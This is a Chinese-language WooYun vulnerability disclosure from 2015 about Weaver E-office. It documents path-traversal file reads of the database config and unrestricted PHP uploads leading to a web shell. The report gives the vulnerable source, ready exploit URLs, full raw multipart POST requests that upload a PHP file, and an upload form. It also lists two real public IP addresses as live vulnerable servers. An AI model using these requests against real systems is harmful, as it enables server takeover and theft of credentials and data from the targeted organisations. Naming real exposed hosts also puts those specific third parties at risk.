当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125638

漏洞标题:泛微Eoffice 某2个文件多处任意文件读取/多处任意文件上传可直接getshell

相关厂商:泛微E-office

漏洞作者: Bear baby

提交时间:2015-07-11 16:31

修复时间:2015-10-11 14:52

公开时间:2015-10-11 14:52

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-11: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-16: 细节向第三方安全合作伙伴开放
2015-09-06: 细节向核心白帽子及相关领域专家公开
2015-09-16: 细节向普通白帽子公开
2015-09-26: 细节向实习白帽子公开
2015-10-11: 细节向公众公开

简要描述:

第二发来临。。老师在给我们放电影。。赶紧发完,嘻嘻。

详细说明:

某2个文件多处任意文件读取
文件位置:

/iWebOffice/OfficeServer.php
/iWebOffice/OfficeServer2.php


这两个文件是IwebOffice控件的一个操作文件,经对比代码完全一样。估计又是copy出来的。代码比较长,只贴相关代码
1.第一处读取任意文件。相关代码如下

$mOption = $OPTION;
switch ( $mOption )
{
case "LOADFILE" :
$mRecordID = $RECORDID;
$mUserName = $USERNAME;
$mFileName = $_REQUEST['FILENAME'];
$mFileType = $FILETYPE;
$mFullPath = $mFilePath."/".$mFileName;
$result = $MsgObj->MsgFileLoad( $mFullPath );
if ( !$result )
{
$MsgObj->MsgError( $_lang['file_file_not_exist'].$mFullPath );
}
else
{
$MsgObj->SetMsgByName( "STATUS", $_lang['file_open_success']."!" );
}
break;


通过$OPTION进入LOADFILE流程。$mFileName = $_REQUEST['FILENAME'];文件名通过REQUEST提交,且控件$MsgObj->MsgFileLoad( $mFullPath )读取文件没有进行判断。所以造成可读取任意文件。
默认读取目录为/attachment/所以我们构造访问地址如
iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini
如下图

1.png


第二处任意文件读取,相关代码如下:

case "LOADTEMPLATE" :
$mTemplate = $TEMPLATE;
$mFileType = $FILETYPE;
$mCommand = $COMMAND;
if ( $mCommand == "INSERTFILE" )
{
$MsgObj->MsgTextClear( );
$result = $MsgObj->MsgFileLoad( $mFilePath."/".$mTemplate );
if ( !$result )
{
$MsgObj->MsgError( "File not exists ".$mFilePath."/".$mTemplate );
}
else
{
$MsgObj->SetMsgByName( "STATUS", $_lang['file_open_success']."!" );
}
}


通过$OPTION进入的是LOADTEMPLATE流程。
$mTemplate = $TEMPLATE;
$mCommand = $COMMAND;
TEMPLATE为要读取的文件名,当COMMAND为INSERTFILE时进入
$MsgObj->MsgFileLoad( $mFilePath."/".$mTemplate );
同上没有进行验证过滤等操作,造成任意文件读取。
默认读取目录为/attachment/所以我们构造访问地址如
iweboffice/officeserver.php?OPTION=LOADTEMPLATE&COMMAND=INSERTFILE&TEMPLATE=../mysql_config.ini
如下图

2.png


第三处

case "GETFILE" :
$mRecordID = $RECORDID;
$mLocalFile = $LOCALFILE;
$mRemoteFile = $REMOTEFILE;
$mFilePath = $mFilePath."/".$mRemoteFile;
$MsgObj->MsgTextClear( );
if ( $MsgObj->MsgFileLoad( $mFilePath ) )
{
$MsgObj->SetMsgByName( "STATUS", $_lang['file_save_fail']."!" );
$MsgObj->MsgError( "" );
}
else
{
$MsgObj->MsgError( $_lang['file_save_fail']."!" );
}
break;


同样的问题,不再详细分析。构造地址
/iweboffice/officeserver.php?OPTION=GETFILE&REMOTEFILE=../mysql_config.ini
如下图

3.png


二。某文件多处任意文件上传,可直接getshell
第一处,相关代码如下

case "SAVEFILE" :
$mRecordID = $RECORDID;
$mUserName = $USERNAME;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mDescript = $DESCRIPT;
$mFileDate = $FileDate;
$mFullPath = $mFilePath."/".$mFileName;
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}


表单可以自行构造一下。OPTION为SAVEFILE,FILENAME是保存的文件名可以自己命名。
Fiddler抓包如下

POST http://192.168.1.129:8082/iweboffice/officeserver.php?OPTION=SAVEFILE&FILENAME=abc.php HTTP/1.1
Host: 192.168.1.129:8082
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: USER_NAME_COOKIE=admin; LOGIN_LANG=cn
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10267625012906
Content-Length: 215
-----------------------------10267625012906
Content-Disposition: form-data; name="MsgFileBody"; filename="1.php"
Content-Type: application/php
<?php phpinfo();?>
-----------------------------10267625012906--


如下图。

4.png


第二处 相关代码如下

case "SAVETEMPLATE" :
$mRecordID = $TEMPLATE;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mFullPath = $mFilePath."/".$mRecordID.$mFileType;
$mDescript = $DESCRIPT;
$mFileDate = $FileDate;
$mUserName = $UserName;
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}


OPTION为SAVETEMPLATE,TEMPLATE是文件名可以自己命名。
Fiddler抓包如下

POST http://192.168.1.129:8082/iweboffice/officeserver.php?OPTION=SAVETEMPLATE&TEMPLATE=cba.php HTTP/1.1
Host: 192.168.1.129:8082
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: USER_NAME_COOKIE=admin; LOGIN_LANG=cn
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10267625012906
Content-Length: 215
-----------------------------10267625012906
Content-Disposition: form-data; name="MsgFileBody"; filename="1.php"
Content-Type: application/php
<?php phpinfo();?>
-----------------------------10267625012906--


5.png


那串STATUS是base64编码,内容为文件的物理路径如下图

6.png


以下还有4处,基本思路和上面的完全一样,构造参数不一样而已,不再详细叙述过程,只贴相关代码,可自行测试。
第三处

case "SAVEASHTML" :
$mFileName = $HTMLNAME;
$mDirectory = $DIRECTORY;
$MsgObj->MsgTextClear;
if ( trim( $mDirectory ) == "" )
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTML/".$mFileName;
}
else
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTML/".$mDirectory."/".$mFileName;
$MsgObj->MakeDirectory( $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTML/".$mDirectory );
}
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}


第四处

case "SAVEIMAGE" :
$mFileName = $HTMLNAME;
$mDirectory = $DIRECTORY;
$MsgObj->MsgTextClear;
if ( trim( $mDirectory ) == "" )
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTMLIMAGE/".$mFileName;
}
else
{
$mFullPath = $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTMLIMAGE/".$mDirectory."/".$mFileName;
$MsgObj->MakeDirectory( $_SERVER['DOCUMENT_ROOT']."/iWebOffice/HTMLIMAGE/".$mDirectory );
}
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}


第五处

case "UPDATEFILE" :
$mRecordID = $RECORDID;
$mFileName = $FILENAME;
$mFileType = $FILETYPE;
$mFileDate = date( "Y-m-d H:i:s" );
$mUserName = $mUserName;
$mDescript = "定稿版本";
$MsgObj->MsgTextClear;
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFullPath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}


第六处

case "PUTFILE" :
$mRecordID = $RECORDID;
$mLocalFile = $LOCALFILE;
$mRemoteFile = $REMOTEFILE;
$mFilePath = $mFilePath."/".$mRemoteFile;
$MsgObj->MsgTextClear( );
if ( is_uploaded_file( $_FILES['MsgFileBody']['tmp_name'] ) )
{
if ( move_uploaded_file( $_FILES['MsgFileBody']['tmp_name'], $mFilePath ) )
{
$mFileSize = $_FILES['MsgFileBody']['size'];
$result = true;
}
else
{
$MsgObj->MsgError( "Save File Error" );
$result = false;
}
}


文件位置:
/webservice/upload/upload.php
/webservice-json/upload/upload.php
/webservice-xml/upload/upload.php
这三处文件经过对比内容完全一样,估计程序猿童鞋直接copy一下就使用。相关代码如下:

<?php
include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>


依然没有任何过滤,保存路径如下

$path = $ATTACH_PATH.$attachmentID;
$fileName = $path."/".$_FILES['file']['name'];
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );


构造个上传表单如下:

<form action="http://网站地址/ webservice/upload/upload.php" form enctype="multipart/form-data"  method="POST">
<input name="file" type="file">
<input name="" type="submit">
</form>


对应Fiddler抓包

POST http://192.168.1.129:8082/webservice/upload/upload.php HTTP/1.1
Host: 192.168.1.129:8082
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: USER_NAME_COOKIE=admin; LOGIN_LANG=cn
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------10267625012906
Content-Length: 208
-----------------------------10267625012906
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/php
<?php phpinfo();?>
-----------------------------10267625012906--


如下图:
返回目录名和文件名,对应路径即/attachment/3704096226/1.php

7.jpg


漏洞证明:

http://122.224.149.30:8082 //案例还是从别人那找的,嘻嘻

8.png


http://61.163.107.26:8082

9.png

修复方案:

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-07-13 14:50

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无